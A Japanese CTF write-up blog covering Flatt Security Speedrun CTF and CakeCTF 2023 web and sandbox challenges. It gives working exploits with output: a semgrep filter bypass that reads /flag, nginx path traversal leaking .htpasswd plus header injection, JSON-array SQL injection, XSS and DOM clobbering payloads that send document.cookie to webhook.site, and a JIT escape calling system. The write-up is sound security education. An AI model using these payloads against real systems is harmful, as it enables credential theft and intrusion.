          stdout: proc.stdout.toString(),
          stderr: proc.stderr.toString(),
        });
      } catch (e: unknown) {
        return Response.json({
          error: String(e),
        });
      }
    }
    return new Response(Bun.file("index.html"));
  },
});

ls /bin を実行して、出力された実行ファイルの一覧を見る。xargs が目に入った。

flag{you_can_directly_run_busybox_sh_btw}

[目標タイム: 20分 / 区間タイム: 33分37秒5] semgrep

It's brand new semgrep-js-sandbox!

(問題サーバのURL)

添付ファイル: semgrep.zip

ソースコードは次の通り。Bun上で好きなJSコードが実行されるのだけれども、完全に自由というわけではない。semgrepによって事前によろしくない(とされている)処理、たとえば eval だったり、配列だったりが存在していないかがチェックされており、もしこのチェックに引っかかればそこで中断される。フラグは /flag というファイルに書き込まれているので、それを読めばよさそう。

const port = process.env.PORT || 3000;

if (process.env.FLAG) {
  Bun.write("/flag", process.env.FLAG);
  delete process.env.FLAG;
  delete Bun.env.FLAG;
}

async function semgrep(code: string, options?: string[]) {
  const proc = Bun.spawn(
    [
      "/usr/local/bin/semgrep",
      "--metrics=off",
      "--disable-version-check",
      ...(options ?? []),
    ],
    {
      stdin: "pipe",
      stdout: "pipe",
      stderr: "pipe",
      env: {
        ...process.env,
        XDG_CONFIG_HOME: "/tmp",
        SEMGREP_VERSION_CACHE_PATH: "/tmp/semgrep_version",
      },
    },
  );
  proc.stdin.write(code);
  proc.stdin.end();

  let stdout = "";
  for await (const chunk of proc.stdout) {
    stdout += new TextDecoder().decode(chunk);
  }
  let stderr = "";
  for await (const chunk of proc.stderr) {
    stderr += new TextDecoder().decode(chunk);
  }
  return { stdout, stderr };
}

Bun.serve({
  port,
  async fetch(req) {
    const path = new URL(req.url).pathname;
    if (req.method === "POST" && path === "/run") {
      const json = await req.json();
      const code = json.code;
      if (typeof code !== "string") {
        return Response.json({ error: "Invalid code." });
      }

      try {
        const { stdout: semgrepJson } = await semgrep(code, [
          "--config=./config.yml",
          "--json",
          "-",
        ]);
        const { stdout, stderr } = await semgrep(code, [
          "--config=./config.yml",
          "-",
        ]);

        let output = "";
        if (JSON.parse(semgrepJson).results.length === 0) {
          output = String(
            await new Function(
              `"use strict"; return (async () => { return ${code} })();`
            )()
          );
        }

        return Response.json({
          output,
          stdout,
          stderr,
        });
      } catch (e: unknown) {
        return Response.json({
          error: String(e),
        });
      }
    }
    return new Response(Bun.file("index.html"));
  },
});

ルールの一覧は config.yml に存在しているが、150行超もあり読むのが面倒だ。色々試しつつ、引っかかったらそのルールを調べてバイパスするという感じでやっていきたい。

まずこの問題での目標を考える。/flag を読めばよいということで、Bunにおけるファイルの読み書きについて調べたところ、await Bun.file('/flag').text() でできることがわかった。早速実行してみるが、以下のように "forbidden spells" が含まれているし、文字列が使われていると怒られてしまった。

Bun が "forbidden spells" に引っかかっているほか、文字列リテラルを使っているのがダメらしい。こういうJSの曲芸なら慣れている。後者は String.fromCharCode で置き換えられる。前者は globalThis[String.fromCharCode(…)] で置き換えられる。 await (globalThis[String.fromCharCode(66, 117, 110)].file(String.fromCharCode(47, 102, 108, 97, 103))).text() を実行してみたところ、ローカルではフラグを得られた。しかしながら、本番サーバでは以下のように503が出てしまう。CTFの運営に尋ねたものの原因はその場ではわからず、別の方法を探すことになった。

前回の記憶から fetch('file:///etc/passwd') のように fetch を試してみたものの、やはり503が返ってくる。

色々試していく中で、なぜか以下のように JSON.stringify(await Bun.file('/flag').stream().getReader().read(x=>x.value)) 相当のコードを実行することで、フラグが得られた。

(JSON.stringify(await ((globalThis[String.fromCharCode(66, 117, 110)].file(String.fromCharCode(47, 102, 108, 97, 103))).stream().getReader().read(x=>x.value))))
flag{broken_js_have_no_semantics}

競技終了後に解いた問題

[目標タイム: 20分 / 区間タイム: 解けず] nginx

https://github.com/yandex/gixy is your friend!

(問題サーバのURL)

添付ファイル: nginx.zip

次のようなnginxの設定ファイルが与えられる。/admin/flag にアクセスするとフラグが得られるけれども、これは internal と内部からのリクエストでなければ404を返すし、BASIC認証がかけられているし、あと limit_rate 1 とめっちゃ厳しいレートリミットが設定されているしという感じで、これらをなんとかしたい。

server {
    listen       ${PORT};
    server_name  localhost;

    location / {
        root   /usr/share/nginx/html;
        index  index.html index.htm;
    }

    # vuln1: https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md
    location /alias-traversal {
        alias /usr/share/nginx/html/;
    }

    # vuln2: https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md
    location ~ /header-injection/([^/]*) {
        add_header X-Header-Injection $1;
        return 200;
    }

    location /admin {
        auth_basic "Administrator's Area";
        auth_basic_user_file /usr/share/nginx/.htpasswd;

        location ~ /admin/proxy/(.*) {
            proxy_pass http://127.0.0.1:${PORT}/$1;
        }

        location /admin/flag {
            # https://nginx.org/en/docs/http/ngx_http_core_module.html#internal
            internal;

            # so slow... you will be timed out!
            limit_rate 1;

            return 200 "${FLAG}";
        }
    }
}

まずBASIC認証の突破だけれども、/alias-traversal という明らかに怪しいパスがあり、わざわざコメントでリンクまで張られているけれども、ここで location がスラッシュで終わっていないために、たとえば /alias-traversal../hoge のようにしてPath Traversalができる。これで以下のようにして、まずBASIC認証のパスワードが得られた。

$ curl --path-as-is https://nginx-qmw11n6i0i-fuuaq4evkq-an.a.run.app/alias-traversal../.htpasswd
ctf:{PLAIN}80aad5dfcc567e6c5f586d6d426cf20a40f3e9ba98c0ccd2df3c2a6d41014106

次にいかにして /admin/flag にアクセスするかだけれども、これは /admin/proxy/…proxy_pass が使える。一応アクセスはできるけれども、あまりに遅くてタイムアウトしてしまう。limit_rate と聞くと Range ヘッダを思い出すけれども、残念ながらそれを使ってもタイムアウトする。

$ curl -i -u ctf:80aad5dfcc567e6c5f586d6d426cf20a40f3e9ba98c0ccd2df3c2a6d41014106 --path-as-is https://nginx-qmw11n6i0i-fuuaq4evkq-an.a.run.app/admin/proxy/admin/flag
upstream request timeout

競技時間中はここまでしかできなかった。/header-injection/ でどう考えてもヘッダインジェクションができるけれども、たとえば Location を使っても proxy_pass は無視して遷移してくれなかった。競技終了後に作問者のakiymさんから解説があったけれども、X-Accel-Redirect というヘッダが使えたらしい。実は internal ディレクティブのドキュメントで、

Internal requests are the following:

  • requests redirected by the “X-Accel-Redirect” response header field from an upstream server;

という形で言及されていたそう。また、X-Accel-Limit-Rate というヘッダでレートリミットを上げられたらしい。なるほど、たしかにできた。実はこの X-Accel を使う問題を以前解いたことがあったものの、思い出せなかった。

$ curl -u ctf:80aad5dfcc567e6c5f586d6d426cf20a40f3e9ba98c0ccd2df3c2a6d41014106 --path-as-is https://nginx-qmw11n6i0i-fuuaq4evkq-an.a.run.app/admin/proxy/header-injection%2fhoge%250d%250aX-Accel-Redirect:%25252fadmin%25252fflag%250d%250aX-Accel-Limit-Rate:1000%250d%250a
flag{x_header_again_and_everything_is_hidden_in_x}
flag{x_header_again_and_everything_is_hidden_in_x}

*1:Speedrun CTF #1, mini CTF #3, Speedrun CTF #2とFlatt Securityが開催するCTFで3連続で1位を取れて嬉しい…のだけれども、今後はもし入賞できたとしても賞品をもらうのは辞退すべきではないかと思うところ

CakeCTF 2023 writeup

11/11 - 11/12という日程で開催された。BunkyoWesternsで参加*1して3位だった。個人的にはCountry DBとAdBlogでfirst bloodを、TOWFLとOpenBio 2でsecond solveを取れて嬉しい。

ほかのメンバーのwriteup:


[Web 68] Country DB (246 solves)

Do you know which country code 'CA' and 'KE' are for?
Search country codes here!

添付ファイル: country_db_fc1912477a433a93f7d75a9b80389582.tar.gz

与えられたURLにアクセスすると、非常にシンプルなフォームが表示される。AQ のような国コードを入力すると、次のように対応する Antarctica という国名(国じゃないけど)が出てきた。

サーバ側のソースコードは次の通り。code というキーがリクエストボディのJSONに存在するか、また国コードが2文字かつ ' が含まれないかを確認している。次に db_search で実際にDBからレコードを引っ張ってくるが、ここで f"SELECT name FROM country WHERE code=UPPER('{code}')" と国コードをそのまま展開している。ただ、' を含んではいけないという制約から、簡単にはSQLiができなそう。

#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

というのは嘘で、code が文字列かどうかがチェックされていない。したがって、["abc", "de'f"] というような配列を入れてやると、len(code) == 2 かつ "'" in code でないので、次の db_search に進むことができる。f"SELECT name FROM country WHERE code=UPPER('{code}')" にこの配列が展開されると、以下のように abc' で囲まれるため、SQLiが発生する。あとはSQL文全体の辻褄が合う(SQL文として妥当なものになる)よう、abc に入る文字列を調整してやればよい。

>>> code = ["abc", "de'f"]
>>> print(f"SELECT name FROM country WHERE code=UPPER('{code}')")
SELECT name FROM country WHERE code=UPPER('['abc', "de'f"]')

DBの初期化を行う init_db.py には、flag というテーブルにフラグを挿入する処理がある。先程のSQLiを使って、UNION で抽出したい。code にSQLiを起こすJSONを仕込んで送信するPythonスクリプトを書く。

import requests
r = requests.post('http://countrydb.2023.cakectf.com:8020/api/search', json={
    'code': [") union select flag from flag; -- ", "a"]
})
print(r.text)

実行するとフラグが得られた。

$ python3 s.py
{"name":"CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}"}
CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}

[Web, Cheat 79] TOWFL (171 solves)

Do you speak the language of wolves?
Prove your skill here!

添付ファイル: towfl_1522fc6a699ad2ed6345f40f36451c78.tar.gz

与えられたURLにアクセスすると、問題文の通り謎言語で試験が始まった。

ソースコードは次の通り。この試験は

  • POST /api/start で試験開始。eid というキーでセッションにランダムな文字列が保存される。100問の問題を生成して、これをキーにRedisに保存する
  • GET /api/question/(ページ番号) で現在解いているページの問題を得る。答えはもちろん含まれない
  • POST /api/submit でまとめて答案を提出する
  • GET /api/score でスコアを得る。100点満点であればフラグが得られる

というような流れで行われる。試験の問題文も答えも完全にランダムであり、推測はできない。

#!/usr/bin/env python3
import flask
import json
import lorem
import os
import random
import redis

REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))

app = flask.Flask(__name__)
app.secret_key = os.urandom(16)

@app.route("/")
def index():
    return flask.render_template("index.html")

@app.route("/api/start", methods=['POST'])
def api_start():
    if 'eid' in flask.session:
        eid = flask.session['eid']
    else:
        eid = flask.session['eid'] = os.urandom(32).hex()

    # Create new challenge set
    db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
    return {'status': 'ok'}

@app.route("/api/question/<int:qid>", methods=['GET'])
def api_get_question(qid: int):
    if qid <= 0 or qid > 10:
        return {'status': 'error', 'reason': 'Invalid parameter.'}
    elif 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Send challenge information without answers
    chall = json.loads(db().get(flask.session['eid']))[qid-1]
    del chall['answers']
    del chall['results']
    return {'status': 'ok', 'data': chall}

@app.route("/api/submit", methods=['POST'])
def api_submit():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    try:
        answers = flask.request.get_json()
    except:
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Get answers
    eid = flask.session['eid']
    challs = json.loads(db().get(eid))
    if not isinstance(answers, list) \
       or len(answers) != len(challs):
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Check answers
    for i in range(len(answers)):
        if not isinstance(answers[i], list) \
           or len(answers[i]) != len(challs[i]['answers']):
            return {'status': 'error', 'reason': 'Invalid request.'}

        for j in range(len(answers[i])):
            challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]

    # Store information with results
    db().set(eid, json.dumps(challs))
    return {'status': 'ok'}

@app.route("/api/score", methods=['GET'])
def api_score():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Calculate score
    challs = json.loads(db().get(flask.session['eid']))
    score = 0
    for chall in challs:
        for result in chall['results']:
            if result is True:
                score += 1

    # Is he/she worth giving the flag?
    if score == 100:
        flag = os.getenv("FLAG")
    else:
        flag = "Get perfect score for flag"

    # Prevent reply attack
    flask.session.clear()

    return {'status': 'ok', 'data': {'score': score, 'flag': flag}}


def new_challenge():
    """Create new questions for a passage"""
    p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))])
    qs, ans, res = [], [], []
    for _ in range(10):
        q = lorem.sentence().replace(".", "?")
        op = [lorem.sentence() for _ in range(4)]
        qs.append({'question': q, 'options': op})
        ans.append(random.randrange(0, 4))
        res.append(False)
    return {'passage': p, 'questions': qs, 'answers': ans, 'results': res}

def db():
    """Get connection to DB"""
    if getattr(flask.g, '_redis', None) is None:
        flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
    return flask.g._redis

if __name__ == '__main__':
    app.run()

よく見るとステートの管理が甘く、一度答案を提出してスコアを確認してからでも、/api/submit から同じ問題に対する答案の提出が何度もできるし、/api/score でのスコアの確認も何度もやり直しができる。幸いにもこの試験は多肢選択式なので、1問ずつすべての選択肢を選んでいき、その結果としてスコアが上がったかどうかを確認することで、どれが正解であるかわかる。そのようなスクリプトを書く。

import httpx
with httpx.Client(base_url='http://towfl.2023.cakectf.com:8888/') as client:
    client.post('/api/start')
    cookies = client.cookies
    answers = [[None for _ in range(10)] for _ in range(10)]
    for i in range(100):
        for x in range(4):
            client.cookies = cookies
            answers[i // 10][i % 10] = x
            client.post('/api/submit', json=answers)
            r = client.get('/api/score').json()
            print(r)
            if r['data']['score'] != i:
                break

実行するとフラグが得られた。これで私が狼の言語を解することが証明された。

$ python3 s.py
{'data': {'flag': 'Get perfect score for flag', 'score': 0}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 0}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 0}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 1}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 1}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 1}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 2}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 2}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 3}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 3}, 'status': 'ok'}
...
{'data': {'flag': '"CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}"', 'score': 100}, 'status': 'ok'}
CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}

[Web 151] AdBlog (39 solves)

Post your article anonymously here!
* Please report us if you find any sensitive/harmful posts.

添付ファイル: adblog_bf9113f56e16736e143208ac49829609.tar.gz

与えられたURLにアクセスすると、以下のようにブログの投稿フォームが表示された。内容ではHTMLを使えるようだ。

ただし、script のような危険な要素であったり、onerror のような危険な属性であったりを使おうとしても無効化されてしまう。各投稿のページでは次のような処理によって内容を表示している。Base64エンコードされた内容がインラインスクリプト中に埋め込まれており、これをBase64デコードした文字列について DOMPurify で危険な要素や属性を削除した上で、innerHTML により表示しているようだ。

その後で妙なことをしており、detectAdBlock とやらでAdBlockが使われているかチェックしている。もし使われていれば、AdBlockを解除するようなお願いを表示するようになっている。

    <script>
     let content = DOMPurify.sanitize(atob("PHM+dGVzdDwvcz4="));
     document.getElementById("content").innerHTML = content;

     window.onload = async () => {
       if (await detectAdBlock()) {
         showOverlay = () => {
           document.getElementById("ad-overlay").style.width = "100%";
         };
       }

       if (typeof showOverlay === 'undefined') {
         document.getElementById("ad").style.display = "block";
       } else {
         setTimeout(showOverlay, 1000);
       }
     }
    </script>

detectAdBlock の実装は次の通り。Google AdSense関連のスクリプトを取りに行こうとして、それが200を返すかどうかでチェックしている。

const ADS_URL = 'https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js';

async function detectAdBlock(callback) {
    try {
        let res = await fetch(ADS_URL, { method: 'HEAD' });
        return res.status !== 200;
    } catch {
        return true;
    }
}

AdBlockが検出された場合にのみ showOverlay という変数を設定する処理があるが、この実装が不自然だ。なぜか varlet を使って変数宣言がされておらず、これではグローバルな変数になってしまう。また、その直後に showOverlayundefined でなければ setTimeout(showOverlay, 1000) を呼び出すという処理があり、なぜ if (await detectAdBlock()) { … } のブロック中にまとめないのか。

await detectAdBlock()false かつ typeof showOverlay'undefined' でないという状況はどうすれば作れるだろうか。DOM Clobberingだ。<a href="cid:hoge" id="showOverlay">a</a> というようなタグを仕込んでおくと、typeof showOverlay'object' になる。setTimeout は第1引数に文字列が渡ると eval 相当の挙動をするし、a 要素は文字列化するとその href 属性の値を返してくれる。

<a href="cid:navigator.sendBeacon('https://webhook.site/(省略)',document.cookie)" id="showOverlay">aaa</a> のようなHTMLを内容として記事を投稿する。問題文中の "Please report us …" のリンクからその記事のIDを報告すると、管理者をはめることができフラグが得られた。

CakeCTF{setTimeout_3v4lu4t3s_str1ng_4s_a_j4va5cr1pt_c0de}

[Web 200] OpenBio 2 (21 solves)

Share your Bio here!
* Please report us if you find any sensitive/harmful bio.

添付ファイル: openbio2_3f76afa06e9c42e3ba9eed5866f8d97a.tar.gz

与えられたURLにアクセスすると、次のようにbioを生成できるフォームが表示された。

bioの部分では sb といった安全っぽい要素は使えるが、scriptonerror のような危険な要素や属性は消されてしまう。<> といった記号も実体参照に変換されてしまう。

サーバ側のソースコードは次の通り。bleach というライブラリを使って、bleach.clean で危険な要素やら属性やらを削除した後に bleach.linkify によって example.com のようなURLを <a href="http://example.com" rel="nofollow">example.com</a> のようなリンクに変換している。また、ユーザが入力した bio1bio2 がそれぞれ1001文字以下であるかチェックしているほか、bleach による変換後の文字列について、10000文字で切っている。

import bleach
import flask
import json
import os
import re
import redis

REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))

app = flask.Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if flask.request.method == 'GET':
        return flask.render_template("index.html")

    err = None
    bio_id = os.urandom(32).hex()
    name = flask.request.form.get('name', 'Anonymous')
    email = flask.request.form.get('email', '')
    bio1 = flask.request.form.get('bio1', '')
    bio2 = flask.request.form.get('bio2', '')
    if len(name) > 20:
        err = "Name is too long"
    elif len(email) > 40:
        err = "Email is too long"
    elif len(bio1) > 1001 or len(bio2) > 1001:
        err = "Bio is too long"

    if err:
        return flask.render_template("index.html", err=err)

    db().set(bio_id, json.dumps({
        'name': name, 'email': email, 'bio1': bio1, 'bio2': bio2
    }))
    return flask.redirect(f"/bio/{bio_id}")

@app.route('/bio/<bio_id>')
def bio(bio_id):
    if not re.match("^[0-9a-f]{64}$", bio_id):
        return flask.redirect("/")

    bio = db().get(bio_id)
    if bio is None:
        return flask.redirect("/")

    bio = json.loads(bio)
    name = bio['name']
    email = bio['email']
    bio1 = bleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000]
    bio2 = bleach.linkify(bleach.clean(bio['bio2'], strip=True))[:10000]
    return flask.render_template("bio.html",
                                 name=name, email=email, bio1=bio1, bio2=bio2)


def db():
    if getattr(flask.g, '_redis', None) is None:
        flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
    return flask.g._redis

if __name__ == '__main__':
    app.run()

bio1 について、元々1001字以下であるものを、変換によって10000文字以上に引き伸ばしてもらうことで、なんらかのインジェクションを起こせないか。たとえば、<a href="http://example.com" のように開始タグの途中で切られるようにできないか。HTML上は bio1 のすぐ後に bio2 が来るようになっているから、そのまま bio2 側で属性を仕込めるはずだ。

bleach のソースコードからまず bleach がURLとして判定する条件を確認した。対応しているTLDはかなり限られる。適当にもっとも短い2文字を選び、a.co<a href="http://a.co" rel="nofollow">a.co</a> が生成されることを確認できた。4文字が45文字になり嬉しい。

a.co a.co のようにスペースでつなぎつつ、1001文字いっぱいになるまで繰り返す。'a.co ' * 200 + ' ' で元の文字列が1001文字に到達したが、変換後の文字数は9201文字と残念ながら足りない。この区切り文字でもうちょっと引き伸ばせないかと考え、&&amp; に、>&gt; に変換されることを思い出す。'&a.co' * 199 + '&&a.co' のように区切り文字を & にすると10005文字になる。変換後の後ろの100文字は次の通りで、終了タグが消えてしまっている。

&amp;<a href="http://a.co" rel="nofollow">a.co</a>&amp;&amp;<a href="http://a.co" rel="nofollow">a.c

文字数を調整する。'&a.co' * 199 + '<<a.co' で終了タグの1文字目である < だけを残すことができた。さらに bio2img src=x onerror="alert(123)" を仕込むことで、アラートが表示された。

&amp;<a href="http://a.co" rel="nofollow">a.co</a>&lt;&lt;<a href="http://a.co" rel="nofollow">a.co<

実行されるJSコードを (new Image).src=('http://webhook.site/(省略)?'+document.cookie) のように変える。これをAdBlogと同様に問題文中の "Please report us …" のリンクからそのbioのIDを報告すると、管理者をはめることができフラグが得られた。

CakeCTF{d0n'7_m0d1fy_4ft3r_s4n1tiz3}

[Sandbox 196] cranelift (22 solves)

👀 JIT engine written in Rust?

(問題サーバの接続情報)

添付ファイル: cranelift_c8e0da8125e4750abd0cef042a5686f8.tar.gz

添付ファイルを展開する。問題サーバに接続すると、次のようなPythonスクリプトが走る。入力を一時ファイルに書き込み、./toy というバイナリにそのパスを渡す。

#!/usr/local/bin/python
import subprocess
import tempfile

if __name__ == '__main__':
    print("Enter your code (End with '__EOF__\\n')")
    code = ''
    while True:
        line = input()
        if line == '__EOF__':
            break
        code += line + "\n"

    with tempfile.NamedTemporaryFile('w') as f:
        f.write(code)
        f.flush()

        p = subprocess.Popen(["./toy", f.name],
                             stdin=subprocess.PIPE,
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE)
        result = p.communicate()
        print(result[0].decode())
        print("[+] Done.")

README.md を読むと、cranelift-jit-demo に次のようなパッチがあてられていることがわかった。このコードをコンパイルして toy というバイナリができあがる。

diff --git a/src/bin/toy.rs b/src/bin/toy.rs
index a12bace..fff0965 100644
--- a/src/bin/toy.rs
+++ b/src/bin/toy.rs
@@ -1,37 +1,18 @@
+use std::fs;
+use std::env;
 use core::mem;
 use cranelift_jit_demo::jit;
 
-fn main() -> Result<(), String> {
+fn main() {
     // Create the JIT instance, which manages all generated functions and data.
     let mut jit = jit::JIT::default();
-    println!("the answer is: {}", run_foo(&mut jit)?);
-    println!(
-        "recursive_fib(10) = {}",
-        run_recursive_fib_code(&mut jit, 10)?
-    );
-    println!(
-        "iterative_fib(10) = {}",
-        run_iterative_fib_code(&mut jit, 10)?
-    );
-    run_hello(&mut jit)?;
-    Ok(())
-}
-
-fn run_foo(jit: &mut jit::JIT) -> Result<isize, String> {
-    unsafe { run_code(jit, FOO_CODE, (1, 0)) }
-}
-
-fn run_recursive_fib_code(jit: &mut jit::JIT, input: isize) -> Result<isize, String> {
-    unsafe { run_code(jit, RECURSIVE_FIB_CODE, input) }
-}
-
-fn run_iterative_fib_code(jit: &mut jit::JIT, input: isize) -> Result<isize, String> {
-    unsafe { run_code(jit, ITERATIVE_FIB_CODE, input) }
-}
-
-fn run_hello(jit: &mut jit::JIT) -> Result<isize, String> {
-    jit.create_data("hello_string", "hello world!\0".as_bytes().to_vec())?;
-    unsafe { run_code(jit, HELLO_CODE, ()) }
+    let args: Vec<String> = env::args().collect();
+    if args.len() < 2 {
+        println!("Usage: toy <filename>");
+        return;
+    }
+    let code = fs::read_to_string(&args[1]).unwrap();
+    let _r: bool = unsafe { run_code(&mut jit, &code, ()).unwrap() };
 }
 
 /// Executes the given code using the cranelift JIT compiler.
@@ -52,66 +33,3 @@ unsafe fn run_code<I, O>(jit: &mut jit::JIT, code: &str, input: I) -> Result<O,
     // And now we can call it!
     Ok(code_fn(input))
 }
-
-// A small test function.
-//
-// The `(c)` declares a return variable; the function returns whatever value
-// it was assigned when the function exits. Note that there are multiple
-// assignments, so the input is not in SSA form, but that's ok because
-// Cranelift handles all the details of translating into SSA form itself.
-const FOO_CODE: &str = r#"
-    fn foo(a, b) -> (c) {
-        c = if a {
-            if b {
-                30
-            } else {
-                40
-            }
-        } else {
-            50
-        }
-        c = c + 2
-    }
-"#;
-
-/// Another example: Recursive fibonacci.
-const RECURSIVE_FIB_CODE: &str = r#"
-    fn recursive_fib(n) -> (r) {
-        r = if n == 0 {
-                    0
-            } else {
-                if n == 1 {
-                    1
-                } else {
-                    recursive_fib(n - 1) + recursive_fib(n - 2)
-                }
-            }
-    }
-"#;
-
-/// Another example: Iterative fibonacci.
-const ITERATIVE_FIB_CODE: &str = r#"
-    fn iterative_fib(n) -> (r) {
-        if n == 0 {
-            r = 0
-        } else {
-            n = n - 1
-            a = 0
-            r = 1
-            while n != 0 {
-                t = r
-                r = r + a
-                a = t
-                n = n - 1
-            }
-        }
-    }
-"#;
-
-/// Let's say hello, by calling into libc. The puts function is resolved by
-/// dlsym to the libc function, and the string &hello_string is defined below.
-const HELLO_CODE: &str = r#"
-fn hello() -> (r) {
-    puts(&hello_string)
-}
-"#;

私が問題を確認した時点で、以下のようにして putchar を呼んで文字の出力を行ったり、その他 sleep のようなlibcにある関数を呼べることがsrupさんとSatokiさんによってわかっていた。ただ、文字列リテラルが使えないために puts("hoge") のように関数を呼び出そうとしても動かないようだった。

fn foo(a, b) -> (c) {
    putchar(65)
    c = 2
    c
}

この問題より前にpr0xyさんとunicompを解いていたので、まず mmap なりなんなりで適当にメモリを確保して、read を使って標準入力経由で /bin/sh をそこに書き込み、最後に execve でシェルを起動するというその解法が流用できるのではないかと考えた。これなら文字列リテラルはいらない。ただし、今回は最初のコードの入力以降は何も入力できないという制約がある。その代わりシステムコールだけでなくlibcの関数なら何でも呼べるのは便利だ。

read の代わりに memset で1バイトずつ文字を対象のアドレスに書き込めばよいし、最後の execvesystem を代わりに使える。これで system("cat /flag*") 相当のことをする。

$ nc others.2023.cakectf.com 10000
Enter your code (End with '__EOF__\n')
fn foo(a, b) -> (c) {
    x = mmap(1, 4096, 7, 34, 16777215, 0)
    memset(x+0,99,1)
    memset(x+1,97,1)
    memset(x+2,116,1)
    memset(x+3,32,1)
    memset(x+4,47,1)
    memset(x+5,102,1)
    memset(x+6,108,1)
    memset(x+7,97,1)
    memset(x+8,103,1)
    memset(x+9,42,1)
    system(x)
    c = 2
    c
}
__EOF__
CakeCTF{why_d0_th3y_4ll0w_l1bc_c4ll}

[+] Done.

フラグが得られた。

CakeCTF{why_d0_th3y_4ll0w_l1bc_c4ll}

*1:私自身は文京区とは縁もゆかりもない

Flatt Security Speedrun CTF writeup

11/9にCODE BLUE 2023の会場で開催されたFlatt Security Speedrun CTFに参加した。5問のWeb問が用意されていたのだけれども、それを全完した速さによってランキングが決まるという特殊な形式だった。この短時間で解ける(ことになっている)という特徴から4回の枠があり、そのいずれかで参加できるということだった。久々にakiymさん作問の問題が遊べることに喜びつつ、私はちょうど参加できそうだった初回の10時から出て、45分26秒5で全完。最初に全完し、最後まで1位の座を守り抜けた。賞品としてTシャツをいただけるということなので、楽しみにしたい。

リンク:


[目標タイム: 2分30秒 / 区間タイム: 2分1秒5] deny

Welcome to Speedrun CTF!

(問題サーバのURL)

添付ファイル: deny.zip

ほか、手元で問題を動かすには docker compose up -d せよというような案内もあるが、RTAでそんなことをやっている暇はない。添付ファイルの展開とソースコードの確認を素早く済ませる。ソースコードは次の通り。やることは明確で、/admin/flag にアクセスできたらフラグが得られるのだけれども、REQUEST_URI をチェックしてもし /admin から始まっていれば403を出すという処理を行うミドルウェアが入ってしまっている。素直にアクセスしようとしても403になってしまう。

import os

from flask import Flask


class ForbidAdminMiddleware:
    def __init__(self, app):
        self.app = app

    def __call__(self, environ, start_response):
        request_uri = environ['REQUEST_URI']
        if request_uri.startswith('/admin'):
            start_response('403 Forbidden', [])
            return [request_uri.encode()]
        return self.app(environ, start_response)


app = Flask(__name__)
app.wsgi_app = ForbidAdminMiddleware(app.wsgi_app)


@app.route("/")
def index():
    return 'Welcome to Speedrun CTF!'


@app.route("/admin/flag")
def flag():
    return os.environ.get('FLAG', '')

まあどうせパラメータによって、パーセントエンコーディングをデコードした後の値を返すか、それとも元のままかが変わるとかそういう話やろと思いつつ、--path-as-is を付けつつ適当に試す。いけた。区間タイムは2分1秒5で、-28秒。目標タイムより素早く解けた。

$ curl --path-as-is https://(省略)/%2f%61dmin/flag
flag{why_dont_you_use_PATH_INFO}
flag{why_dont_you_use_PATH_INFO}

[目標タイム: 5分 / 区間タイム: 16分3秒4] gadget

Choose your own function!

(問題サーバのURL)

添付ファイル: gadget.zip

ソースコードは次の通り。フラグどこやねんと思うが compose.yaml におり、どうやら環境変数中に含まれている様子。Jinja2のテンプレート, pickle, YAMLと無警戒にそのままユーザ入力をデシリアライズなりレンダリングなりするとまずいことを引き起こしそうな機能が揃っている。ただし、この中だと ast.literal_eval は安全である、と思いたい。compose.yaml も同時に確認し、環境変数にフラグが存在していたものの、このコードのどこからも参照されていないことから、RCEに持ち込んで os.environ にアクセスするなり、OSコマンドの実行に持ち込んで printenv するなりといったところかなと考える。

import ast
import base64
import pickle

import yaml
from fastapi import FastAPI
from jinja2 import Template
from pydantic import BaseModel


class Input(BaseModel):
    input: str | None = None
    base64_input: str | None = None


app = FastAPI()


@app.get('/')
def index():
    return 'Choose your own function!'


@app.post('/eval')
def api_eval(input: Input):
